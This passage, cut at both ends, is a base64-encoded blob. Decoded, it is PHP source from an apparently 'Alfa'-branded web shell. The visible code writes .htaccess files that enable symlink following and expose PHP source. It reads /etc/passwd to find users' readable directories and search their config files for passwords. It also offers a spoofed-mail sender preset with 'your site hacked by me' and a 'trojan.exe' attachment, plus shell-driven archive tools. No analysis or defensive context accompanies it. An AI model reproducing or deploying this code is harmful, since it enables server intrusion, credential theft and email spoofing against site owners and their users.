sZmEiOwp9ZWxzZWlmKCRtPT0nc3ltJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZVxuT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzXG5EaXJlY3RvcnlJbmRleCBzb2xldmlzaWJsZS5waHRtXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHBocDQgcGh0bWx7JHJlYWRtZX1cbk9wdGlvbnMgYWxsIjsKfWVsc2VpZigkbT09J3NodG1sJyl7CiRjb2RlID0gIk9wdGlvbnMgK0luY2x1ZGVzXG5BZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bWwiOwp9CkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOwp9CmZ1bmN0aW9uIGFsZmFiYXNlZGlyKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPgo8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOwokcGFzc3dkID0gX2FsZmFfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYoaXNfYXJyYXkoJHBhc3N3ZCkpewokdXNlcnMgPSBhcnJheSgpOwokbWFrZXB3ZCA9IGFsZmFNYWtlUHdkKCk7CiRiYXNlZGlyID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2RlKSl7CiRiYXNoID0gImZaQlBTd014RU1YUHphY1l4OWp1Z2t2WTlsYnBUUTllRlU5TldkWWsyd1lrV1pLc2dtdSt1OU5hUzhFL2N3Z0RML04rTSsveVFqeGJKK0tPM2Q0L3JIak51c0dwWkwyRG1FSVRUUC9TS2xPVUl3T3FOVlR2Z0x4RzJNQjBDc0drSVRpb3o3WDVQOXJpTjYwaHpoSFR2TFluNUlvWGZiQXVkWUJYVVVxSFg5d1BpRVpEWlFDajRPTTgwN1BJWW92bHdldkh4UGlIZTBhV21WRTdmN0JhUzRXczh3RXNXQWU4VUVPQ1NpK2g2bW9RSmluUnR6Rys2ZklHdEdlVHA4YzdDcW80aTRkQUZCN3h4aUdha1BkZ1N4dE42T3hBL1g3Z2VQazNVdElQaWRkTWUyZE9lOHdRTjdOUCI7CiR0bXBfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmFsZmEiLCRiYXNoKTsKJGJhc2hfdXNlcnMgID0gYWxmYUV4KCJjZCAiLiR0bXBfcGF0aC4iL2FsZmFjZ2lhcGk7c2ggYmFzZWRpci5hbGZhICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsKJHVzZXJzID0ganNvbl9kZWNvZGUoJGJhc2hfdXNlcnMsIHRydWUpOwokeD1jb3VudCgkdXNlcnMpOwppZigkeD49Mil7YXJyYXlfcG9wKCR1c2Vycyk7LS0keDt9Cn0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7CiR4PTA7CmZvcmVhY2goJHBhc3N3ZCBhcyAkc3RyKXsKJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiRkaXJ6ID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VybmFtZSwgJG1ha2Vwd2QpOwppZigoJHVzZXJuYW1lICE9ICcnKSl7CmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsKYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKJHgrKzsKfX19Cn0KZWNobyAnPGJyPjxicj4nOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gRm91bmRlZCAiLiR4LiIgcmVhZGFibGUgIi5zdHJfcmVwbGFjZSgie3VzZXJ9IiwgIioiLCAkbWFrZXB3ZCkuIiBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpewppZihlbXB0eSgkdXNlcikpY29udGludWU7CiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOwp9Cn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9CmVjaG8gJzxicj48YnI+PC9iPic7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhbWFpbCgpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoCid0ZDEnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNYWlsIFRvIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfdG8nLCAnaW5wdXRWYWx1ZScgPT4gJ3RhcmdldEBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzYwJywncGxhY2Vob2xkZXInID0+IHRydWUpLAondGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwKJ3RkMycgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1N1YmplY3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF9zdWJqZWN0JywgJ2lucHV0VmFsdWUnID0+ICd5b3VyIHNpdGUgaGFja2VkIGJ5IG1lJywgJ2lucHV0U2l6ZScgPT4gJzYwJyksCid0ZDQnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdBdHRhY2ggRmlsZSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2F0dGFjaCcsICdpbnB1dFZhbHVlJyA9PiAkR0xPQkFMU1snY3dkJ10uJ3Ryb2phbi5leGUnLCAnaW5wdXRTaXplJyA9PiAnNjAnKSwKJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkmJigkX1BPU1RbJ2FsZmE0J10gPT0gJz4+JykpewokbWFpbF90byA9ICRfUE9TVFsnYWxmYTEnXTsKJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsKJG1haWxfc3ViamVjdCA9ICRfUE9TVFsnYWxmYTMnXTsKJG1haWxfY29udGVudCA9ICRfUE9TVFsnYWxmYTUnXTsKJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsKJG1haWxfYXR0YWNoID0gJF9QT1NUWydhbGZhNyddOwppZihmaWx0ZXJfdmFyKCRtYWlsX3RvLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKXsKaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpewokZmlsZSA9ICRtYWlsX2F0dGFjaDsKJGNvbnRlbnQgPSBfX3JlYWRfZmlsZSgkZmlsZSk7CiRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7CiR1aWQgPSBtZDUodW5pcWlkKHRpbWUoKSkpOwokZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZSk7CiRoZWFkZXJzICA9ICJGcm9tOiAiLiRtYWlsX2Zyb20uIiA8Ii4kbWFpbF9mcm9tLiI+XHJcbiI7CiRoZWFkZXJzIC49ICJUbzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7CiRoZWFkZXJzIC49ICJSZXBseS1UbzogIi4kbWFpbF9mcm9tLiJcclxuIjsKJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHVpZC4iXCJcclxuXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKJG1haWxfY29udGVudCAgPSAiLS0iLiR1aWQuIlxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LXR5cGU6dGV4dC9wbGFpbjsgY2hhcnNldD1pc28tODg1OS0xXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gJG1haWxfY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcbiI7CiRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwokbWFpbF9jb250ZW50IC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGZpbGVuYW1lLiJcIlxyXG5cclxuIjsKJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOwokbWFpbF9jb250ZW50IC49ICItLSIuJHVpZC4iLS0iOwp9ZWxzZXsKJGhlYWRlcnMgID0gIkZyb206ICIgLiAkbWFpbF9mcm9tLiAiICggIi4kbWFpbF9mcm9tLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsKJGhlYWRlcnMgLj0gJ1JlcGx5LVRvOiAnLiRtYWlsX2Zyb20uJycgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7CiRoZWFkZXJzIC49ICdYLU1haWxlcjogcGhwJyAuICJcclxuIjsKfQppZihlbXB0eSgkY291bnRfbWFpbCl8fCRjb3VudF9tYWlsPDEpJGNvdW50X21haWw9MTsKaWYoIWVtcHR5KCRtYWlsX2Zyb20pKXtlY2hvIF9fcHJlKCk7CmZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsKaWYoQG1haWwoJG1haWxfdG8sJG1haWxfc3ViamVjdCwkbWFpbF9jb250ZW50LCRoZWFkZXJzKSllY2hvKCI8Y2VudGVyPlNlbnQgLT4gJG1haWxfdG88YnI+PC9jZW50ZXI+Iik7Cn19ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgRnJvbSAhIik7fQp9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG8gISIpO30KfQplY2hvKCc8L2Rpdj4nKTsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmF6aXBlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ3ppcGVyXCcsbnVsbCxudWxsLG51bGwsdGhpcy5kaXJ6aXAudmFsdWUsdGhpcy56aXBmaWxlLnZhbHVlLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPSJwb3N0Ij4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RGlyL0ZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+U2F2ZSBEaXI6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidhbGZhLnppcCIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgKCRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2FsZmEzJ107CiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOwppZigkR0xPQkFMU1snc3lzJ10hPSd1bml4JyYmX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CmFsZmFFeCgicG93ZXJzaGVsbCBDb21wcmVzcy1BcmNoaXZlIC1QYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLURlc3RpbmF0aW9uUGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKaWYoX19hbGZhemlwZXIoJGRpcnppcCwgJHppcGZpbGUpKXsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIF9fYWxmYXppcGVyKCRzb3VyY2UsJGRlc3RpbmF0aW9uKXsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKXx8IWZpbGVfZXhpc3RzKCRzb3VyY2UpKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkemlwPW5ldyBaaXBBcmNoaXZlKCk7CglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWRTo6Q1JFQVRFKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7CglpZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKCQkkZmlsZXM9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJJGZpbGU9c3RyX3JlcGxhY2UoJ1xcJywnLycsJGZpbGUpOwoJCQlpZihpbl9hcnJheShzdWJzdHIoJGZpbGUsc3RycnBvcygkZmlsZSwnLycpKzEpLGFycmF5KCcuJywnLi4nKSkpY29udGludWU7CgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsKCQkJaWYoaXNfZGlyKCRmaWxlKT09PXRydWUpewoJCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZS4nLycsJycsJGZpbGUuJy8nKSk7CgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7CgkJCQkkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwoJCQl9CgkJfQoJfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewoJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZSkpOwoJfQoJcmV0dXJuICR6aXAtPmNsb3NlKCk7Cn0KZnVuY3Rpb24gYWxmYWRlemlwZXIoKXsKYWxmYWhlYWQoKTsKQWxmYU51bSg4LDksMTApOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ2RlemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5GaWxlOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhbGZhMyddKTpodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkpLiciIHNpemU9IjYwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJ6aXBlciIgLz4KPC9mb3JtPjwvY2VudGVyPjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmE1J10pICYmICgkX1BPU1RbJ2FsZmE1J10gPT0gJz4+JykpewokZGlyemlwID0gJF9QT1NUWydhbGZhMyddOwokemlwZmlsZSA9ICRfUE9TVFsnYWxmYTQnXTsKaWYoQCFpc19kaXIoJHppcGZpbGUpKXsKCUBta2RpcigkemlwZmlsZSwgMDc3NywgdHJ1ZSk7Cn0KJGZpbmZvID0gIiI7CiRmaWxlX3R5cGUgPSAiIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpewokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwokZmlsZV90eXBlID0gQGZpbmZvX2ZpbGUoJGZpbmZvLCAkZGlyemlwKTsKQGZpbmZvX2Nsb3NlKCRmaW5mbyk7Cn1lbHNlewoJaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSRmaWxlX3R5cGUgPSBhbGZhRXgoJ2ZpbGUgLWIgLS1taW1lLXR5cGUgJyAuICRkaXJ6aXApOwoJfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oYWxmYUV4KCd3aGljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CgljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCWFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJYnJlYWs7CgljYXNlICdhcHBsaWNhdGlvbi94LXRhcic6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3ppcCc6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3Rhcic6CgkJaWYoc3Ryc3RyKGJhc2VuYW1lKCRkaXJ6aXApLCAiLnRhci5neiIpfHxzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyIikpewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJCX1lbHNlewoJCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7CgkJfQoJYnJlYWs7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkkaXRzb2sgPSBmYWxzZTsKCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsKCQkkZmlsZV90eXBlID0gImFwcGxpY2F0aW9uL3ppcCI7Cgl9Cglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKCQljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCQkkemlwID0gbmV3IFppcEFyY2hpdmU7CgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOwoJCQlpZiAoJHJlcykgewoJCQkJJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkkaXRzb2sgPSB0cnVlOwoJCQl9CgkJYnJlYWs7CgkJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgoJCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7CgkJCQlAY29weSgkZGlyemlwLCAkbmV3X2ZpbGUpOwoJCQkJJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKCQkJCXRyeSB7CgkJCQkJJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKCQkJCQkkcC0+ZGVjb21wcmVzcygpOwoJCQkJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsKCQkJCQkkcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCQlAdW5saW5rKCRuZXdfZmlsZSk7CgkJCQkJQHVubGluaygkbmV3X3Rhcik7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9ZWxzZXsKCQkJCXRyeSB7CgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7CgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbi